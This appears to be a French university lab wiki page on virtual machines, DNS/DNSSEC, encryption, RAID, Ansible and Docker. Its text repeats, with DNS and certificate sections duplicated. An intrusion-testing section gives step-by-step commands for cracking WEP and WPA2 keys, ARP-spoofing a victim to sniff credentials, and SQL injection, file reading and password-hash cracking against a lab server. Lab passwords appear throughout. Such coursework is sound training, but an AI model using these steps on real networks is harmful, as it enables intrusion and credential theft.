ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:11:37Z

Psanchez : /* Equilibreur de charge */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
